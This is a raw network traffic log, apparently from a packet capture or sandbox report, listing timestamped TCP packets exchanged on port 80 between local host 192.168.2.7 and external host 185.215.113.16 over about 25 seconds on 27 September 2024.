Sep 27, 2024 01:29:39.890959024 CEST	49739	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:39.892138958 CEST	49739	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:39.896878958 CEST	80	49739	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:40.119652033 CEST	80	49739	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:40.119796038 CEST	49739	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:40.222388029 CEST	49739	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:40.222721100 CEST	49740	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:40.227654934 CEST	80	49740	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:40.227695942 CEST	80	49739	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:40.227745056 CEST	49740	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:40.227787971 CEST	49739	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:40.227973938 CEST	49740	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:40.232750893 CEST	80	49740	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:40.935679913 CEST	80	49740	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:40.935754061 CEST	49740	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:40.936345100 CEST	49740	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:40.941124916 CEST	80	49740	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:41.162904024 CEST	80	49740	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:41.163034916 CEST	49740	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:41.272485018 CEST	49740	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:41.273186922 CEST	49741	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:41.277811050 CEST	80	49740	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:41.277895927 CEST	49740	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:41.278058052 CEST	80	49741	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:41.278135061 CEST	49741	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:41.278381109 CEST	49741	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:41.283272028 CEST	80	49741	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:41.972136974 CEST	80	49741	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:41.972249031 CEST	49741	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:41.973299026 CEST	49741	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:41.979018927 CEST	80	49741	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:42.197624922 CEST	80	49741	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:42.197762966 CEST	49741	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:42.300441980 CEST	49741	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:42.300770044 CEST	49742	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:42.305634022 CEST	80	49742	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:42.305727959 CEST	49742	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:42.305864096 CEST	80	49741	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:42.305926085 CEST	49741	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:42.306026936 CEST	49742	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:42.310786009 CEST	80	49742	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:43.004071951 CEST	80	49742	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:43.004152060 CEST	49742	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:43.004837990 CEST	49742	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:43.009692907 CEST	80	49742	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:43.229008913 CEST	80	49742	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:43.229182005 CEST	49742	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:43.331480980 CEST	49742	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:43.331806898 CEST	49743	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:43.336908102 CEST	80	49742	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:43.336986065 CEST	49742	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:43.337165117 CEST	80	49743	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:43.337348938 CEST	49743	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:43.337554932 CEST	49743	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:43.342706919 CEST	80	49743	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:44.065453053 CEST	80	49743	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:44.065536022 CEST	49743	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:44.066224098 CEST	49743	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:44.071078062 CEST	80	49743	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:44.306499958 CEST	80	49743	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:44.306615114 CEST	49743	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:44.409871101 CEST	49743	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:44.410208941 CEST	49744	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:44.415097952 CEST	80	49744	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:44.415190935 CEST	49744	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:44.415261984 CEST	80	49743	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:44.415318012 CEST	49743	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:44.415405035 CEST	49744	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:44.420217037 CEST	80	49744	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:45.108756065 CEST	80	49744	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:45.108943939 CEST	49744	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:45.110018969 CEST	49744	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:45.114850998 CEST	80	49744	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:45.394546986 CEST	80	49744	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:45.394727945 CEST	49744	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:45.505332947 CEST	49744	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:45.505623102 CEST	49745	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:45.621578932 CEST	80	49744	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:45.621797085 CEST	49744	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:45.622915983 CEST	80	49745	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:45.622982979 CEST	80	49744	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:45.623003006 CEST	49745	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:45.623033047 CEST	49744	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:45.623291969 CEST	49745	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:45.628144026 CEST	80	49745	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:46.332021952 CEST	80	49745	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:46.332103968 CEST	49745	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:46.332782030 CEST	49745	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:46.337598085 CEST	80	49745	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:46.561079979 CEST	80	49745	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:46.561214924 CEST	49745	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:46.675404072 CEST	49745	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:46.675734997 CEST	49746	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:46.680619001 CEST	80	49746	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:46.680639029 CEST	80	49745	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:46.680707932 CEST	49746	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:46.680737019 CEST	49745	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:46.680819035 CEST	49746	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:46.685561895 CEST	80	49746	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:47.392909050 CEST	80	49746	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:47.393018961 CEST	49746	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:47.393826008 CEST	49746	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:47.398590088 CEST	80	49746	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:47.619889021 CEST	80	49746	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:47.620043993 CEST	49746	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:47.723434925 CEST	49746	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:47.724283934 CEST	49747	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:47.728843927 CEST	80	49746	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:47.729013920 CEST	49746	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:47.729217052 CEST	80	49747	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:47.729499102 CEST	49747	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:47.729902983 CEST	49747	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:47.734635115 CEST	80	49747	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:48.442359924 CEST	80	49747	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:48.442490101 CEST	49747	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:48.455399990 CEST	49747	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:48.460460901 CEST	80	49747	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:48.859441042 CEST	80	49747	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:48.859548092 CEST	49747	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:48.972192049 CEST	49747	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:48.972513914 CEST	49748	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:48.978672981 CEST	80	49747	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:48.978750944 CEST	49747	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:48.978796005 CEST	80	49748	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:48.978988886 CEST	49748	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:48.979027033 CEST	49748	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:48.984102011 CEST	80	49748	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:49.678456068 CEST	80	49748	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:49.678597927 CEST	49748	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:49.679280043 CEST	49748	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:49.684062004 CEST	80	49748	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:49.902822971 CEST	80	49748	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:49.903217077 CEST	49748	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:50.019134998 CEST	49748	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:50.019479990 CEST	49749	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:50.024281979 CEST	80	49749	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:50.024369955 CEST	49749	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:50.024378061 CEST	80	49748	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:50.024491072 CEST	49748	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:50.024514914 CEST	49749	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:50.029311895 CEST	80	49749	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:50.728672028 CEST	80	49749	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:50.728775978 CEST	49749	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:50.729564905 CEST	49749	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:50.735541105 CEST	80	49749	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:50.959990025 CEST	80	49749	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:50.960140944 CEST	49749	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:51.081806898 CEST	49749	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:51.082117081 CEST	49750	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:51.087014914 CEST	80	49750	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:51.087090969 CEST	80	49749	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:51.087168932 CEST	49750	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:51.087215900 CEST	49749	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:51.090655088 CEST	49750	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:51.095604897 CEST	80	49750	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:51.789194107 CEST	80	49750	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:51.789362907 CEST	49750	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:51.794341087 CEST	49750	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:51.799127102 CEST	80	49750	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:52.018054008 CEST	80	49750	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:52.018131971 CEST	49750	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:52.128509045 CEST	49750	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:52.128817081 CEST	49751	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:52.133645058 CEST	80	49751	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:52.133744955 CEST	49751	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:52.133774996 CEST	80	49750	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:52.133829117 CEST	49750	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:52.133939981 CEST	49751	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:52.138628006 CEST	80	49751	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:52.883769035 CEST	80	49751	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:52.883887053 CEST	49751	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:52.884602070 CEST	49751	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:52.889405012 CEST	80	49751	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:53.140917063 CEST	80	49751	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:53.141299963 CEST	49751	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:53.253467083 CEST	49751	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:53.253801107 CEST	49752	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:53.259469986 CEST	80	49752	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:53.259557009 CEST	49752	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:53.259576082 CEST	80	49751	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:53.259635925 CEST	49751	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:53.259809971 CEST	49752	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:53.265044928 CEST	80	49752	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:53.964808941 CEST	80	49752	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:53.965037107 CEST	49752	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:53.965877056 CEST	49752	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:53.970701933 CEST	80	49752	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:54.190242052 CEST	80	49752	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:54.190335035 CEST	49752	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:54.300566912 CEST	49752	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:54.300888062 CEST	49753	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:54.306476116 CEST	80	49752	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:54.306555033 CEST	49752	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:54.306652069 CEST	80	49753	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:54.306729078 CEST	49753	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:54.306905031 CEST	49753	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:54.312621117 CEST	80	49753	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:55.015114069 CEST	80	49753	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:55.015352011 CEST	49753	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:55.016233921 CEST	49753	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:55.021060944 CEST	80	49753	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:55.245140076 CEST	80	49753	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:55.245237112 CEST	49753	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:55.347605944 CEST	49753	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:55.347964048 CEST	49754	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:55.352694988 CEST	80	49753	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:55.352744102 CEST	80	49754	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:55.352763891 CEST	49753	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:55.352833033 CEST	49754	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:55.352986097 CEST	49754	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:55.357758045 CEST	80	49754	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:56.059129000 CEST	80	49754	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:56.059236050 CEST	49754	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:56.061546087 CEST	49754	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:56.066361904 CEST	80	49754	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:56.292239904 CEST	80	49754	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:56.292350054 CEST	49754	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:56.396699905 CEST	49754	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:56.396969080 CEST	49755	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:56.401797056 CEST	80	49754	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:56.401854038 CEST	80	49755	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:56.401890039 CEST	49754	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:56.401938915 CEST	49755	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:56.404169083 CEST	49755	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:56.408977032 CEST	80	49755	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:57.107424021 CEST	80	49755	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:57.107497931 CEST	49755	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:57.108181000 CEST	49755	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:57.112970114 CEST	80	49755	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:57.331981897 CEST	80	49755	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:57.332115889 CEST	49755	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:57.441179037 CEST	49755	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:57.441565990 CEST	49756	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:57.446268082 CEST	80	49755	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:57.446351051 CEST	80	49756	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:57.446378946 CEST	49755	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:57.446438074 CEST	49756	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:57.448008060 CEST	49756	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:57.452847004 CEST	80	49756	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:58.156274080 CEST	80	49756	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:58.156359911 CEST	49756	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:58.157058001 CEST	49756	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:58.161814928 CEST	80	49756	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:58.416165113 CEST	80	49756	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:58.416230917 CEST	49756	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:58.519418001 CEST	49756	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:58.519756079 CEST	49757	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:58.524651051 CEST	80	49756	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:58.524739981 CEST	49756	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:58.524791002 CEST	80	49757	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:58.524883032 CEST	49757	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:58.525059938 CEST	49757	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:58.529863119 CEST	80	49757	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:59.251431942 CEST	80	49757	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:59.251576900 CEST	49757	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:59.252312899 CEST	49757	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:59.257139921 CEST	80	49757	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:59.484220028 CEST	80	49757	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:59.484455109 CEST	49757	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:59.597806931 CEST	49757	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:59.598563910 CEST	49758	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:59.603140116 CEST	80	49757	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:59.603231907 CEST	49757	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:59.603445053 CEST	80	49758	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:59.603526115 CEST	49758	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:59.603645086 CEST	49758	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:59.608396053 CEST	80	49758	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:00.328620911 CEST	80	49758	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:00.328710079 CEST	49758	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:00.331284046 CEST	49758	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:00.336163998 CEST	80	49758	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:00.555938959 CEST	80	49758	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:00.556041002 CEST	49758	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:00.659622908 CEST	49758	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:00.659934044 CEST	49759	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:00.664683104 CEST	80	49759	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:00.664771080 CEST	49759	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:00.664797068 CEST	80	49758	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:00.664839983 CEST	49758	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:00.664974928 CEST	49759	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:00.669693947 CEST	80	49759	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:01.371134043 CEST	80	49759	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:01.371217966 CEST	49759	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:01.371953964 CEST	49759	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:01.376806021 CEST	80	49759	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:01.614501953 CEST	80	49759	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:01.614557981 CEST	49759	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:01.723041058 CEST	49759	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:01.723537922 CEST	49760	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:01.728219032 CEST	80	49759	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:01.728281975 CEST	49759	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:01.728358030 CEST	80	49760	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:01.728425026 CEST	49760	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:01.728640079 CEST	49760	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:01.733428001 CEST	80	49760	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:02.446580887 CEST	80	49760	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:02.446690083 CEST	49760	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:02.452934980 CEST	49760	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:02.457818031 CEST	80	49760	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:02.682892084 CEST	80	49760	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:02.682964087 CEST	49760	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:02.787528992 CEST	49760	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:02.787862062 CEST	49761	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:02.792840004 CEST	80	49761	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:02.792880058 CEST	80	49760	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:02.792934895 CEST	49761	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:02.792965889 CEST	49760	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:02.793092966 CEST	49761	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:02.798022032 CEST	80	49761	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:03.504374981 CEST	80	49761	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:03.504476070 CEST	49761	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:03.509471893 CEST	49761	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:03.509882927 CEST	49762	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:03.514769077 CEST	80	49762	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:03.514863968 CEST	49762	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:03.515304089 CEST	80	49761	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:03.515361071 CEST	49762	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:03.515424013 CEST	49761	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:03.520361900 CEST	80	49762	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:04.228378057 CEST	80	49762	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:04.228441954 CEST	49762	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:04.334043980 CEST	49762	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:04.334322929 CEST	49763	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:04.339101076 CEST	80	49762	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:04.339363098 CEST	80	49763	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:04.339409113 CEST	49762	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:04.339445114 CEST	49763	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:04.339654922 CEST	49763	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:04.344618082 CEST	80	49763	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:05.059338093 CEST	80	49763	185.215.113.16	192.168.2.7
Sep 27, 2024 01:30:05.059410095 CEST	49763	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:05.084356070 CEST	49763	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:30:05.085541964 CEST	49764	80	192.168.2.7	185.215.113.16
